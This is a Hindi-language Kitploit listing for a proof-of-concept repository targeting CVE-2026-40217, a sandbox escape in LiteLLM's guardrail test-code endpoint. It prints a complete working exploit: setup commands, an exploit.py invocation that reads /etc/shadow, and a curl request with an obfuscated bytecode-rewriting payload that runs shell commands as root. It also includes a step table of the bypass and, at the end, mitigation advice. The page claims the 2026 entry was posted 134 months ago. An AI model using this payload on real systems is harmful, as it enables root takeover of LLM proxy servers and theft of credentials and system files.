Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
Log in
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-40217-PoC — संबंधित कमजोरी को व्यक्तिगत रूप से पुनरुत्पादित करने का कोड | Kitploit
उपकरण/GitHubGitHub/learner202649/cve-2026-40217-poc
कंटेनर सुरक्षाभेद्यता विश्लेषणकोड विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षा
GitHublearner202649/cve-2026-40217-poc

CVE-2026-40217-PoC

संबंधित कमजोरी को व्यक्तिगत रूप से पुनरुत्पादित करने का कोड

रिपॉजिटरी देखें
134 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-40217 — LiteLLM गार्डरेल सैंडबॉक्स एस्केप

LiteLLM POST /guardrails/test_custom_code — सैंडबॉक्स एस्केप जो डिफ़ॉल्ट Docker डिप्लॉयमेंट में रूट के रूप में रिमोट कोड एक्जीक्यूशन (RCE) की ओर ले जाता है।

क्षेत्रमूल्य
CVECVE-2026-40217
CVSS8.8 (उच्च) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWECWE-913 (डायनामिक रूप से प्रबंधित कोड संसाधनों का अनुचित नियंत्रण) / CWE-94
प्रभावितLiteLLM ≤ 2026-04-08 (v1.83.11 से पूर्व)
समाधानv1.83.11+ (हैंड-रोल्ड सैंडबॉक्स को RestrictedPython से बदल दिया गया)
खोजकर्ताMarkus Vervier — X41 D-Sec GmbH
प्रकाशित2026-04-08
लिंकX41 Advisory • GHSA-wxxx-gvqv-xp7p • oss-security

विवरण

POST /guardrails/test_custom_code एंडपॉइंट LiteLLM में प्रमाणित उपयोगकर्ताओं को गार्डरेल परीक्षण के लिए मनमाना Python कोड सबमिट करने की अनुमति देता है। यह एंडपॉइंट रेगेक्स-आधारित स्रोत कोड फ़िल्टरिंग का उपयोग करके खतरनाक क्रियाओं को प्रतिबंधित करने का प्रयास करता है, लेकिन इसे CPython बाइटकोड पुनर्लेखन तकनीकों का उपयोग करके पूरी तरह से दरकिनार किया जा सकता है, जिसके परिणामस्वरूप प्रॉक्सी प्रक्रिया में मनमाना कोड निष्पादन होता है। डिफ़ॉल्ट Docker इमेज में, प्रॉक्सी रूट के रूप में चलती है, जो प्रभाव को और बढ़ा देता है।


प्रूफ ऑफ कॉन्सेप्ट

पूर्वापेक्षाएँ

# Python निर्भरताएँ स्थापित करें (exploit.py के लिए आवश्यक)
pip install -r requirements.txt

त्वरित आरंभ (Docker)

⚠️ महत्वपूर्ण: docker-compose.yml संवेदनशील इमेज को 22 मार्च 2026 के एक विशिष्ट डाइजेस्ट (sha256:7c311546...) पर पिन करता है। टैग को main-latest या किसी नए संस्करण में न बदलें — बाद की इमेज में पहले से ही फिक्स (RestrictedPython) हो सकता है, भले ही संस्करण संख्या अन्यथा सुझाव दे (जैसे, v1.83.10-stable को पैच के बाद पुनर्निर्मित किया गया था और यह संवेदनशील नहीं है)।

# 1. निर्भरताएँ स्थापित करें (यदि पहले से नहीं की गई हैं)
pip install -r requirements.txt

# 2. एक संवेदनशील LiteLLM इंस्टेंस शुरू करें
docker compose up -d

# 3. एक्सप्लॉइट चलाएँ
python3 exploit/exploit.py --target http://localhost:4000 --key "sk-litellm-master-key"

# 4. संवेदनशील फ़ाइलें पढ़ें (--cmd आर्गुमेंट बदलें)
python3 exploit/exploit.py --target http://localhost:4000 --key "sk-litellm-master-key" \
    --cmd "cat /etc/shadow"

# या सीधे curl का उपयोग करके
curl -s -X POST \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  http://localhost:4000/guardrails/test_custom_code \
  -d '{
    "custom_code": "def apply_guardrail(inputs, request_data, input_type):\n    obj = str.mro()[1]\n    def g(fn):\n        yield fn.placeholder\n    c = g(None).gi_code\n    gn = \"_\"+\"_gl\"+\"ob\"+\"als\"+\"_\"+\"_\n    cn = \"_\"+\"_co\"+\"de_\"+\"_\"\n    obj.__setattr__(g, cn, c.replace(co_names=(gn,)))\n    for v in g(http_get):\n        gd = v\n        break\n    bn = \"_\"+\"_bu\"+\"ilt\"+\"ins\"+\"_\"+\"_\"\n    imp = gd[bn][\"_\"+\"_im\"+\"po\"+\"rt_\"+\"_\"]\n    return {\"rce\": imp(\"os\").popen(\"id\").read()}",
    "test_input": {"messages": [{"role": "user", "content": "test"}]}
  }'

अपेक्षित परिणाम

{"success":true,"result":{"rce":"uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)\n"},"error":null,"error_type":null}

सैंडबॉक्स एस्केप तकनीक (6 चरण)

चरणतकनीककोड
1स्ट्रिंग संयोजन द्वारा रेगेक्स उपाय"_"+"_gl"+"ob"+"als"+"_"+"_"
2str.mro()[1] के माध्यम से object वर्ग प्राप्त करेंobj = str.mro()[1]
3gi_code के माध्यम से जनरेटर कोड ऑब्जेक्ट तक पहुँचेंc = g(None).gi_code
4object.__setattr__ के माध्यम से फ़ंक्शन __code__ बदलेंobj.__setattr__(g, cn, c.replace(co_names=(gn,)))
5http_get.__globals__ से वास्तविक बिल्ट-इन निकालेंimp = gd["__builtins__"]["__import__"]
6os.popen के माध्यम से RCE प्राप्त करेंimp("os").popen("id").read()

रिपॉजिटरी संरचना

CVE-2026-40217/
├── README.md                  # यह फ़ाइल
├── docker-compose.yml         # एक-कमांड संवेदनशील वातावरण
├── requirements.txt           # निर्भरताएँ
├── exploit/
│   ├── exploit.py             # पूर्ण एक्सप्लॉइट स्क्रिप्ट
│   └── payload.py             # बाइटकोड पेलोड मॉड्यूल
├── docs/
│   └── advisory.md            # अनुवादित सलाह विवरण
└── screenshots/               # प्रमाण स्क्रीनशॉट

शमन

  1. अपग्रेड करें LiteLLM v1.83.11+ पर (हैंड-रोल्ड सैंडबॉक्स के बजाय RestrictedPython का उपयोग करता है)
  2. अवरुद्ध करें /guardrails/test_custom_code को अपने रिवर्स प्रॉक्सी / API गेटवे पर
  3. प्रतिबंधित करें मास्टर कुंजी को केवल विश्वसनीय प्रशासकों तक
  4. गैर-रूट के रूप में चलाएँ Docker में: docker run --user 1000:1000 ...
  5. प्रबंधन इंटरफ़ेस को अविश्वसनीय नेटवर्क में उजागर न करें

संदर्भ

  • X41 D-SEC सलाह x41-2026-001
  • GitHub सलाह GHSA-wxxx-gvqv-xp7p
  • GitLab सलाह
  • oss-security प्रकटीकरण
  • NVD विवरण

अस्वीकरण: यह सामग्री केवल शैक्षिक उद्देश्यों और अधिकृत सुरक्षा परीक्षण के लिए प्रदान की गई है।

टूल डाउनलोड करें